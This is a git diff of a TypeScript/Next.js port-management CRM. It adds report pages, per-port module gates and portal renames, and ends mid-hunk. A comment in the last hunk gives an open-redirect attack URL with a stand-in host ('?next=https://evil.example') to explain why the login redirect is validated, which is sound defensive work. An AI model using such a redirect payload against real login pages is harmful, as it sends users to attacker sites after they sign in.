<h2 className="text-xs font-semibold uppercase tracking-wider text-muted-foreground">
|
||||||
|
Legacy builders
|
||||||
|
</h2>
|
||||||
|
<p className="text-xs text-muted-foreground/80">
|
||||||
|
Available now while the new category builders are filled in.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4">
|
||||||
|
{(LEGACY_KINDS as readonly LegacyKind[]).map((k) => (
|
||||||
|
<Link key={k} href={`/${portSlug}/reports/${k}` as Route} className="block group">
|
||||||
|
<Card className="h-full transition-colors group-hover:border-primary/50 group-hover:bg-muted/30">
|
||||||
|
<CardHeader className="pb-2">
|
||||||
|
<CardTitle className="text-base">{LEGACY_LABELS[k].title}</CardTitle>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<CardDescription>{LEGACY_LABELS[k].description}</CardDescription>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
</Link>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
21
src/app/(dashboard)/[portSlug]/reports/custom/page.tsx
Normal file
21
src/app/(dashboard)/[portSlug]/reports/custom/page.tsx
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
import { CustomReportBuilder } from '@/components/reports/custom/custom-report-builder';
|
||||||
|
|
||||||
|
export const dynamic = 'force-dynamic';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Custom (ad-hoc) report builder. Sibling of the dynamic [kind] route
|
||||||
|
* so this page wins over the placeholder for /reports/custom.
|
||||||
|
*
|
||||||
|
* v1 ships 4 entities: clients / interests / berths / tenancies.
|
||||||
|
* Additional entities (companies, yachts, invoices, payments, deals,
|
||||||
|
* sends) layer in via `src/lib/reports/custom/registry.ts` without
|
||||||
|
* touching this page.
|
||||||
|
*/
|
||||||
|
export default async function CustomReportPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <CustomReportBuilder portSlug={portSlug} />;
|
||||||
|
}
|
||||||
21
src/app/(dashboard)/[portSlug]/reports/financial/page.tsx
Normal file
21
src/app/(dashboard)/[portSlug]/reports/financial/page.tsx
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
import { FinancialReportClient } from '@/components/reports/financial/financial-report-client';
|
||||||
|
|
||||||
|
export const dynamic = 'force-dynamic';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Financial report.
|
||||||
|
*
|
||||||
|
* Sibling of the dynamic [kind] route so this page wins over the
|
||||||
|
* placeholder for /reports/financial specifically. Spec lives in
|
||||||
|
* docs/reports-content-spec.md § Report 02 — sourced from the canonical
|
||||||
|
* payments + expenses tables (the CRM records money received; it does
|
||||||
|
* not invoice).
|
||||||
|
*/
|
||||||
|
export default async function FinancialReportPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <FinancialReportClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
19
src/app/(dashboard)/[portSlug]/reports/operational/page.tsx
Normal file
19
src/app/(dashboard)/[portSlug]/reports/operational/page.tsx
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
import { OperationalReportClient } from '@/components/reports/operational/operational-report-client';
|
||||||
|
|
||||||
|
export const dynamic = 'force-dynamic';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Operational report.
|
||||||
|
*
|
||||||
|
* Sibling of the dynamic [kind] route so this page wins for
|
||||||
|
* /reports/operational specifically. Spec lives in
|
||||||
|
* docs/reports-content-spec.md § Report 04.
|
||||||
|
*/
|
||||||
|
export default async function OperationalReportPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <OperationalReportClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
@@ -1,5 +1,185 @@
|
|||||||
import { ReportsPageClient } from '@/components/reports/reports-page-client';
|
import Link from 'next/link';
|
||||||
|
import type { Route } from 'next';
|
||||||
|
import { BookOpen, Calendar, Clock, Layers, Sparkles, TrendingUp, Wallet } from 'lucide-react';
|
||||||
|
|
||||||
export default function ReportsPage() {
|
import { PageHeader } from '@/components/shared/page-header';
|
||||||
return <ReportsPageClient />;
|
import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
|
import { cn } from '@/lib/utils';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface KindCard {
|
||||||
|
href: string;
|
||||||
|
label: string;
|
||||||
|
description: string;
|
||||||
|
icon: typeof TrendingUp;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Five entry points - four canonical categories from the launch
|
||||||
|
* initiative (sales / financial / marketing / operational) plus the
|
||||||
|
* ad-hoc custom composer. Rendered with the same CardHeader +
|
||||||
|
* CardDescription pattern as the admin sections browser so this surface
|
||||||
|
* reads as part of the same app.
|
||||||
|
*/
|
||||||
|
const KIND_CARDS: KindCard[] = [
|
||||||
|
{
|
||||||
|
href: 'sales',
|
||||||
|
label: 'Sales performance',
|
||||||
|
description:
|
||||||
|
'Rep leaderboards, win rates, average time-to-close, stalled deals, conversion funnel by stage.',
|
||||||
|
icon: TrendingUp,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: 'operational',
|
||||||
|
label: 'Operational',
|
||||||
|
description:
|
||||||
|
'Berth utilisation timeline, occupancy heatmap, tenancy churn, signing turnaround.',
|
||||||
|
icon: Layers,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: 'financial',
|
||||||
|
label: 'Financial',
|
||||||
|
description:
|
||||||
|
'Revenue collected, deposits, outstanding balances, cash flow, and expense breakdown.',
|
||||||
|
icon: Wallet,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: 'custom',
|
||||||
|
label: 'Custom report',
|
||||||
|
description:
|
||||||
|
'Build your own: pick an entity, choose columns, set a date range, export to CSV, and save as a template.',
|
||||||
|
icon: Sparkles,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
interface LibraryCard {
|
||||||
|
href: string;
|
||||||
|
label: string;
|
||||||
|
description: string;
|
||||||
|
icon: typeof Calendar;
|
||||||
|
}
|
||||||
|
|
||||||
|
const LIBRARY_CARDS: LibraryCard[] = [
|
||||||
|
{
|
||||||
|
href: '/reports/templates',
|
||||||
|
label: 'Templates',
|
||||||
|
description: 'Saved configurations. Modify, re-run, or save as a new template.',
|
||||||
|
icon: BookOpen,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: '/reports/runs',
|
||||||
|
label: 'Runs',
|
||||||
|
description: 'Every report generated, with re-run and re-send.',
|
||||||
|
icon: Clock,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: '/reports/schedules',
|
||||||
|
label: 'Schedules',
|
||||||
|
description: 'Recurring runs. Email delivery is optional per schedule.',
|
||||||
|
icon: Calendar,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
interface SectionCardProps {
|
||||||
|
href: string;
|
||||||
|
label: string;
|
||||||
|
description: string;
|
||||||
|
icon: typeof TrendingUp;
|
||||||
|
/** Optional small uppercase label rendered above the title, mirroring
|
||||||
|
* the admin-sections-browser pattern. */
|
||||||
|
eyebrow?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Matches the SectionCard pattern used on the Administration landing
|
||||||
|
* page so cards across the app share one visual + interactive idiom.
|
||||||
|
* Don't restyle this independently - if the admin card style changes,
|
||||||
|
* propagate here.
|
||||||
|
*/
|
||||||
|
function ReportSectionCard({ href, label, description, icon: Icon, eyebrow }: SectionCardProps) {
|
||||||
|
return (
|
||||||
|
<Link href={href as Route} className="block group">
|
||||||
|
<Card
|
||||||
|
className={cn(
|
||||||
|
'h-full transition-colors group-hover:border-primary/50 group-hover:bg-muted/30',
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
<CardHeader className="flex flex-row items-start gap-3 space-y-0 pb-2">
|
||||||
|
<Icon
|
||||||
|
className="h-5 w-5 mt-0.5 text-muted-foreground group-hover:text-primary"
|
||||||
|
aria-hidden
|
||||||
|
/>
|
||||||
|
<div className="flex-1">
|
||||||
|
<CardTitle className="text-base">{label}</CardTitle>
|
||||||
|
{eyebrow ? (
|
||||||
|
<p className="text-xs uppercase tracking-wider text-muted-foreground">{eyebrow}</p>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<CardDescription>{description}</CardDescription>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
</Link>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function ReportsLandingPage({ params }: PageProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-6">
|
||||||
|
<PageHeader
|
||||||
|
title="Reports"
|
||||||
|
description="Generate curated and ad-hoc reports as PDF, CSV, or Excel. Schedule recurring runs with optional email delivery."
|
||||||
|
/>
|
||||||
|
|
||||||
|
<section className="space-y-3">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-xs font-semibold uppercase tracking-wider text-muted-foreground">
|
||||||
|
Compose a report
|
||||||
|
</h2>
|
||||||
|
<p className="text-xs text-muted-foreground/80">
|
||||||
|
Sales and operational dashboards, plus an ad-hoc composer for anything else.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-3">
|
||||||
|
{KIND_CARDS.map((k) => (
|
||||||
|
<ReportSectionCard
|
||||||
|
key={k.href}
|
||||||
|
href={`/${portSlug}/reports/${k.href}`}
|
||||||
|
label={k.label}
|
||||||
|
description={k.description}
|
||||||
|
icon={k.icon}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section className="space-y-3">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-xs font-semibold uppercase tracking-wider text-muted-foreground">
|
||||||
|
Library
|
||||||
|
</h2>
|
||||||
|
<p className="text-xs text-muted-foreground/80">
|
||||||
|
Saved templates, generated runs, and recurring schedules. Re-run anything in one click.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-3">
|
||||||
|
{LIBRARY_CARDS.map((l) => (
|
||||||
|
<ReportSectionCard
|
||||||
|
key={l.href}
|
||||||
|
href={`/${portSlug}${l.href}`}
|
||||||
|
label={l.label}
|
||||||
|
description={l.description}
|
||||||
|
icon={l.icon}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
10
src/app/(dashboard)/[portSlug]/reports/runs/page.tsx
Normal file
10
src/app/(dashboard)/[portSlug]/reports/runs/page.tsx
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
import { ReportRunsPageClient } from '@/components/reports/sub-pages/report-runs-page-client';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function ReportRunsPage({ params }: PageProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <ReportRunsPageClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
19
src/app/(dashboard)/[portSlug]/reports/sales/page.tsx
Normal file
19
src/app/(dashboard)/[portSlug]/reports/sales/page.tsx
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
import { SalesReportClient } from '@/components/reports/sales/sales-report-client';
|
||||||
|
|
||||||
|
export const dynamic = 'force-dynamic';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sales Performance report.
|
||||||
|
*
|
||||||
|
* Sibling of the dynamic [kind] route so the page wins over the
|
||||||
|
* placeholder for /reports/sales specifically. Spec lives in
|
||||||
|
* docs/reports-content-spec.md § Report 01.
|
||||||
|
*/
|
||||||
|
export default async function SalesReportPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <SalesReportClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
10
src/app/(dashboard)/[portSlug]/reports/schedules/page.tsx
Normal file
10
src/app/(dashboard)/[portSlug]/reports/schedules/page.tsx
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
import { ReportSchedulesPageClient } from '@/components/reports/sub-pages/report-schedules-page-client';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function ReportSchedulesPage({ params }: PageProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <ReportSchedulesPageClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
10
src/app/(dashboard)/[portSlug]/reports/templates/page.tsx
Normal file
10
src/app/(dashboard)/[portSlug]/reports/templates/page.tsx
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
import { ReportTemplatesPageClient } from '@/components/reports/sub-pages/report-templates-page-client';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function ReportTemplatesPage({ params }: PageProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
return <ReportTemplatesPageClient portSlug={portSlug} />;
|
||||||
|
}
|
||||||
48
src/app/(dashboard)/[portSlug]/residential/layout.tsx
Normal file
48
src/app/(dashboard)/[portSlug]/residential/layout.tsx
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { isResidentialModuleEnabled } from '@/lib/services/residential-module.service';
|
||||||
|
import { ModuleDisabledPage } from '@/components/shared/module-disabled-page';
|
||||||
|
|
||||||
|
interface ResidentialLayoutProps {
|
||||||
|
children: React.ReactNode;
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Layout-level gate for the entire /residential subtree (clients +
|
||||||
|
* interests, list + detail). When the port has
|
||||||
|
* residential_module_enabled = false, every route under /residential
|
||||||
|
* renders the ModuleDisabledPage instead of the real content. This is
|
||||||
|
* the route-level half of the "hybrid hide+block" model (the sidebar
|
||||||
|
* "Residential" section + mobile entry are independently hidden via
|
||||||
|
* residentialModuleByPort on the SSR-resolved sidebar prop).
|
||||||
|
*
|
||||||
|
* Using a layout rather than per-page guards means: (a) one place to
|
||||||
|
* change the gate logic, (b) nested routes ([id]) are covered
|
||||||
|
* automatically, (c) the children subtree never mounts when disabled,
|
||||||
|
* so its data-fetching effects don't fire.
|
||||||
|
*/
|
||||||
|
export default async function ResidentialLayout({ children, params }: ResidentialLayoutProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
// Fail closed: an unresolved slug means the port doesn't exist (or the
|
||||||
|
// user mistyped one) — 404 rather than silently rendering the gated
|
||||||
|
// subtree without a module check.
|
||||||
|
if (!port) notFound();
|
||||||
|
const enabled = await isResidentialModuleEnabled(port.id);
|
||||||
|
if (enabled) return children;
|
||||||
|
return (
|
||||||
|
<ModuleDisabledPage
|
||||||
|
moduleName="Residential"
|
||||||
|
description="The Residential clients and interests pipeline is turned off for this port. Existing residential records are preserved and will reappear when the module is re-enabled."
|
||||||
|
settingsHref={`/${portSlug}/admin/settings`}
|
||||||
|
fallbackHref={`/${portSlug}/dashboard`}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
import { redirect } from 'next/navigation';
|
import { redirect } from 'next/navigation';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* /<port>/residential is a namespace segment — the actual landing is
|
* /<port>/residential is a namespace segment - the actual landing is
|
||||||
* /residential/clients. Without a page.tsx here, the breadcrumb's
|
* /residential/clients. Without a page.tsx here, the breadcrumb's
|
||||||
* "Residential" link 404s. Server-redirect to the Clients sub-page so
|
* "Residential" link 404s. Server-redirect to the Clients sub-page so
|
||||||
* the link works as a useful shortcut.
|
* the link works as a useful shortcut.
|
||||||
|
|||||||
23
src/app/(dashboard)/[portSlug]/tenancies/[id]/page.tsx
Normal file
23
src/app/(dashboard)/[portSlug]/tenancies/[id]/page.tsx
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { TenancyDetail } from '@/components/tenancies/tenancy-detail';
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { isTenanciesModuleEnabled } from '@/lib/services/tenancies-module.service';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string; id: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function TenancyDetailPage({ params }: PageProps) {
|
||||||
|
const { portSlug, id } = await params;
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
if (!port) notFound();
|
||||||
|
if (!(await isTenanciesModuleEnabled(port.id))) notFound();
|
||||||
|
|
||||||
|
return <TenancyDetail tenancyId={id} portSlug={portSlug} />;
|
||||||
|
}
|
||||||
26
src/app/(dashboard)/[portSlug]/tenancies/page.tsx
Normal file
26
src/app/(dashboard)/[portSlug]/tenancies/page.tsx
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
|
||||||
|
import { TenanciesListPage } from '@/components/tenancies/tenancies-list-page';
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
import { isTenanciesModuleEnabled } from '@/lib/services/tenancies-module.service';
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default async function BerthTenanciesPage({ params }: PageProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
// Per docs/tenancies-design.md §"When disabled": top-level page returns
|
||||||
|
// 404 when the module is off. The sidebar entry is already hidden via
|
||||||
|
// tenanciesModuleByPort, so this 404 guards against direct URL access.
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
if (!port) notFound();
|
||||||
|
if (!(await isTenanciesModuleEnabled(port.id))) notFound();
|
||||||
|
|
||||||
|
return <TenanciesListPage />;
|
||||||
|
}
|
||||||
@@ -11,11 +11,15 @@ import { SocketProvider } from '@/providers/socket-provider';
|
|||||||
import { PortProvider } from '@/providers/port-provider';
|
import { PortProvider } from '@/providers/port-provider';
|
||||||
import { PermissionsProvider } from '@/providers/permissions-provider';
|
import { PermissionsProvider } from '@/providers/permissions-provider';
|
||||||
import { AppShell } from '@/components/layout/app-shell';
|
import { AppShell } from '@/components/layout/app-shell';
|
||||||
|
import { OnboardingBanner } from '@/components/admin/onboarding-banner';
|
||||||
import { DevModeBanner } from '@/components/shared/dev-mode-banner';
|
import { DevModeBanner } from '@/components/shared/dev-mode-banner';
|
||||||
import { RealtimeToasts } from '@/components/shared/realtime-toasts';
|
import { RealtimeToasts } from '@/components/shared/realtime-toasts';
|
||||||
import { WebVitalsReporter } from '@/components/shared/web-vitals-reporter';
|
import { WebVitalsReporter } from '@/components/shared/web-vitals-reporter';
|
||||||
import { classifyFormFactor } from '@/lib/form-factor';
|
import { classifyFormFactor } from '@/lib/form-factor';
|
||||||
import { getPortBrandingConfig } from '@/lib/services/port-config';
|
import { getPortBrandingConfig } from '@/lib/services/port-config';
|
||||||
|
import { isTenanciesModuleEnabled } from '@/lib/services/tenancies-module.service';
|
||||||
|
import { isExpensesModuleEnabled } from '@/lib/services/expenses-module.service';
|
||||||
|
import { isResidentialModuleEnabled } from '@/lib/services/residential-module.service';
|
||||||
|
|
||||||
export default async function DashboardLayout({ children }: { children: React.ReactNode }) {
|
export default async function DashboardLayout({ children }: { children: React.ReactNode }) {
|
||||||
const headerList = await headers();
|
const headerList = await headers();
|
||||||
@@ -38,7 +42,7 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
|||||||
: portRoles.map((pr) => pr.port);
|
: portRoles.map((pr) => pr.port);
|
||||||
|
|
||||||
// Prefer a previously-resolved tier from the client's cookie so the
|
// Prefer a previously-resolved tier from the client's cookie so the
|
||||||
// server renders the matching shell on first paint — eliminates the
|
// server renders the matching shell on first paint - eliminates the
|
||||||
// mobile↔desktop chrome flicker that happens when UA-based classification
|
// mobile↔desktop chrome flicker that happens when UA-based classification
|
||||||
// disagrees with the actual viewport (e.g. macOS Safari with the
|
// disagrees with the actual viewport (e.g. macOS Safari with the
|
||||||
// window dragged below 1024). AppShell writes the cookie after the
|
// window dragged below 1024). AppShell writes the cookie after the
|
||||||
@@ -58,7 +62,7 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
|||||||
|
|
||||||
// Per-port logo map for the sidebar. Resolved server-side so the
|
// Per-port logo map for the sidebar. Resolved server-side so the
|
||||||
// sidebar can swap brand on port switch without an extra round-trip.
|
// sidebar can swap brand on port switch without an extra round-trip.
|
||||||
// Falls back to null per port when no logo is configured — the
|
// Falls back to null per port when no logo is configured - the
|
||||||
// sidebar surfaces nothing rather than leaking a generic placeholder.
|
// sidebar surfaces nothing rather than leaking a generic placeholder.
|
||||||
const portBrandingEntries = await Promise.all(
|
const portBrandingEntries = await Promise.all(
|
||||||
ports.map(async (p) => {
|
ports.map(async (p) => {
|
||||||
@@ -72,9 +76,64 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
|||||||
);
|
);
|
||||||
const portLogoUrls: Record<string, string | null> = Object.fromEntries(portBrandingEntries);
|
const portLogoUrls: Record<string, string | null> = Object.fromEntries(portBrandingEntries);
|
||||||
|
|
||||||
|
// Per-port tenancies-module gate. Hidden by default; flips on either by
|
||||||
|
// the admin switch (Operations) OR the lazy auto-enable on first row.
|
||||||
|
// Resolved server-side so the sidebar nav SSRs in/out atomically with
|
||||||
|
// the layout instead of flickering after a client-side fetch.
|
||||||
|
const tenanciesModuleEntries = await Promise.all(
|
||||||
|
ports.map(async (p) => {
|
||||||
|
try {
|
||||||
|
return [p.id, await isTenanciesModuleEnabled(p.id)] as const;
|
||||||
|
} catch {
|
||||||
|
return [p.id, false] as const;
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
const tenanciesModuleByPort: Record<string, boolean> = Object.fromEntries(tenanciesModuleEntries);
|
||||||
|
|
||||||
|
// Per-port expenses-module gate. Defaults to enabled (the registry's
|
||||||
|
// default) so existing ports keep the feature on deploy. Resolved
|
||||||
|
// server-side so the sidebar SSRs without flicker when an admin has
|
||||||
|
// turned the feature off for a tenant.
|
||||||
|
const expensesModuleEntries = await Promise.all(
|
||||||
|
ports.map(async (p) => {
|
||||||
|
try {
|
||||||
|
return [p.id, await isExpensesModuleEnabled(p.id)] as const;
|
||||||
|
} catch {
|
||||||
|
// Conservative default on lookup failure: keep the feature
|
||||||
|
// visible so a transient DB hiccup doesn't hide the module
|
||||||
|
// for a port that actually has it enabled.
|
||||||
|
return [p.id, true] as const;
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
const expensesModuleByPort: Record<string, boolean> = Object.fromEntries(expensesModuleEntries);
|
||||||
|
|
||||||
|
// Per-port residential-module gate. Defaults to enabled (the registry's
|
||||||
|
// default) so existing ports keep the feature on deploy. Resolved
|
||||||
|
// server-side so the sidebar "Residential" section SSRs in/out without
|
||||||
|
// flicker when an admin has turned the feature off for a tenant.
|
||||||
|
const residentialModuleEntries = await Promise.all(
|
||||||
|
ports.map(async (p) => {
|
||||||
|
try {
|
||||||
|
return [p.id, await isResidentialModuleEnabled(p.id)] as const;
|
||||||
|
} catch {
|
||||||
|
// Conservative default on lookup failure: keep the feature
|
||||||
|
// visible so a transient DB hiccup doesn't hide the module.
|
||||||
|
return [p.id, true] as const;
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
const residentialModuleByPort: Record<string, boolean> =
|
||||||
|
Object.fromEntries(residentialModuleEntries);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<QueryProvider>
|
<QueryProvider>
|
||||||
<PortProvider ports={ports} defaultPortId={ports[0]?.id ?? null}>
|
<PortProvider
|
||||||
|
ports={ports}
|
||||||
|
defaultPortId={ports[0]?.id ?? null}
|
||||||
|
tenanciesModuleByPort={tenanciesModuleByPort}
|
||||||
|
>
|
||||||
<PermissionsProvider>
|
<PermissionsProvider>
|
||||||
<SocketProvider>
|
<SocketProvider>
|
||||||
<RealtimeToasts />
|
<RealtimeToasts />
|
||||||
@@ -84,8 +143,9 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
|||||||
rerouted. Production hides itself (env.ts forbids the
|
rerouted. Production hides itself (env.ts forbids the
|
||||||
flag in prod) so the banner is dev/staging-only. */}
|
flag in prod) so the banner is dev/staging-only. */}
|
||||||
<DevModeBanner />
|
<DevModeBanner />
|
||||||
|
<OnboardingBanner />
|
||||||
{/* #26: AppShell mounts ONE responsive tree (desktop OR
|
{/* #26: AppShell mounts ONE responsive tree (desktop OR
|
||||||
* mobile) per render — never both — so pages don't pay the
|
* mobile) per render - never both - so pages don't pay the
|
||||||
* double-state, double-fetch, double-Tabs-provider tax. */}
|
* double-state, double-fetch, double-Tabs-provider tax. */}
|
||||||
<AppShell
|
<AppShell
|
||||||
portRoles={portRoles}
|
portRoles={portRoles}
|
||||||
@@ -93,6 +153,9 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
|||||||
user={user}
|
user={user}
|
||||||
ports={ports}
|
ports={ports}
|
||||||
portLogoUrls={portLogoUrls}
|
portLogoUrls={portLogoUrls}
|
||||||
|
tenanciesModuleByPort={tenanciesModuleByPort}
|
||||||
|
expensesModuleByPort={expensesModuleByPort}
|
||||||
|
residentialModuleByPort={residentialModuleByPort}
|
||||||
initialFormFactor={initialFormFactor}
|
initialFormFactor={initialFormFactor}
|
||||||
>
|
>
|
||||||
{children}
|
{children}
|
||||||
|
|||||||
@@ -60,7 +60,7 @@ export default async function PortalLayout({ children }: { children: React.React
|
|||||||
// Branding for the auth-shell pages (login, forgot-password, reset).
|
// Branding for the auth-shell pages (login, forgot-password, reset).
|
||||||
// When the visitor has a session, use that port's branding so they
|
// When the visitor has a session, use that port's branding so they
|
||||||
// stay inside one tenant's look. Otherwise pick up the first-port
|
// stay inside one tenant's look. Otherwise pick up the first-port
|
||||||
// default — the same path the CRM auth pages take.
|
// default - the same path the CRM auth pages take.
|
||||||
const branding = session
|
const branding = session
|
||||||
? await getPortBrandingConfig(session.portId)
|
? await getPortBrandingConfig(session.portId)
|
||||||
.then((cfg) => ({
|
.then((cfg) => ({
|
||||||
|
|||||||
@@ -59,11 +59,11 @@ export default async function PortalDashboardPage() {
|
|||||||
route). Hidden until a memberships page ships. The count is still
|
route). Hidden until a memberships page ships. The count is still
|
||||||
available in the underlying dashboard data when needed. */}
|
available in the underlying dashboard data when needed. */}
|
||||||
<PortalCard
|
<PortalCard
|
||||||
title="My Active Reservations"
|
title="My Active Tenancies"
|
||||||
value={dashboard.counts.activeReservations}
|
value={dashboard.counts.activeTenancies}
|
||||||
description="Current and pending berth reservations"
|
description="Current and pending berth tenancies"
|
||||||
icon={CalendarCheck}
|
icon={CalendarCheck}
|
||||||
href="/portal/my-reservations"
|
href="/portal/my-tenancies"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ export default async function PortalInterestsPage() {
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
{/* leadCategory ("hot_lead" / "qualified_lead" / etc.)
|
{/* leadCategory ("hot_lead" / "qualified_lead" / etc.)
|
||||||
is a staff classification — never render to clients.
|
is a staff classification - never render to clients.
|
||||||
Privacy + optics: we shouldn't be telling the
|
Privacy + optics: we shouldn't be telling the
|
||||||
prospect they're a "hot lead". */}
|
prospect they're a "hot lead". */}
|
||||||
<div className="flex flex-wrap gap-2 mt-2 text-xs text-gray-400">
|
<div className="flex flex-wrap gap-2 mt-2 text-xs text-gray-400">
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
|||||||
* Validate the `?next=` post-login redirect target. auth-flow-auditor M10:
|
* Validate the `?next=` post-login redirect target. auth-flow-auditor M10:
|
||||||
* an unvalidated `next` lets `/portal/login?next=https://evil.example`
|
* an unvalidated `next` lets `/portal/login?next=https://evil.example`
|
||||||
* navigate cross-site after sign-in. Only allow same-origin paths
